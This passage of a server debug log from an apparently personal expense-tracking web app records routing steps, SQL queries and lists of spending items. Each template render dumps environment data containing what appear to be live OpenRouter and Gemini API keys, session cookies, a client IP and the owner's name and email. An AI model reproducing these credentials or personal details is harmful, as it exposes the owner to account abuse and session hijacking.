    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-10T03:42:25.936Z server-connect:router Serving templateView /todo
2026-03-10T03:42:25.937Z server-connect:app Executing action step identify
2026-03-10T03:42:25.937Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:25.937Z server-connect:output identity: 1
2026-03-10T03:42:25.937Z server-connect:app Executing action step restrict
2026-03-10T03:42:25.937Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T03:42:25.937Z server-connect:output restrict: undefined
2026-03-10T03:42:25.937Z server-connect:router Render template todo
2026-03-10T03:42:25.937Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/todo',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"78e5-yxhbne6P4b4cgcFUMWk6bcqpSEA"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-11T03:41:30.636Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/todo',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"78e5-yxhbne6P4b4cgcFUMWk6bcqpSEA"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-10T03:42:30.083Z server-connect:router Serving templateView /todo
2026-03-10T03:42:30.083Z server-connect:app Executing action step identify
2026-03-10T03:42:30.083Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:30.084Z server-connect:output identity: 1
2026-03-10T03:42:30.084Z server-connect:app Executing action step restrict
2026-03-10T03:42:30.084Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T03:42:30.084Z server-connect:output restrict: undefined
2026-03-10T03:42:30.084Z server-connect:router Render template layouts/main
2026-03-10T03:42:30.084Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-11T03:41:30.636Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/todo'
}
2026-03-10T03:42:31.134Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-10T03:42:31.135Z server-connect:app Executing action step identify
2026-03-10T03:42:31.135Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:31.135Z server-connect:output identity: 1
2026-03-10T03:42:31.135Z server-connect:app Executing action step restrict
2026-03-10T03:42:31.135Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:31.136Z server-connect:output restrict: undefined
2026-03-10T03:42:31.136Z server-connect:app Executing action step select
2026-03-10T03:42:31.136Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-10T03:42:31.140Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-10T03:42:31.141Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-10T03:42:31.143Z server-connect:app Executing action step identify
2026-03-10T03:42:31.143Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:31.143Z server-connect:output identity: 1
2026-03-10T03:42:31.143Z server-connect:app Executing action step restrict
2026-03-10T03:42:31.143Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:31.144Z server-connect:output restrict: undefined
2026-03-10T03:42:31.144Z server-connect:app Executing action step single
2026-03-10T03:42:31.144Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-10T03:42:31.145Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-10T03:42:34.703Z server-connect:router Serving templateView /goal
2026-03-10T03:42:34.703Z server-connect:app Executing action step identify
2026-03-10T03:42:34.703Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:34.704Z server-connect:output identity: 1
2026-03-10T03:42:34.704Z server-connect:app Executing action step restrict
2026-03-10T03:42:34.704Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T03:42:34.704Z server-connect:output restrict: undefined
2026-03-10T03:42:34.704Z server-connect:router Render template goal
2026-03-10T03:42:34.704Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-11T03:41:30.636Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
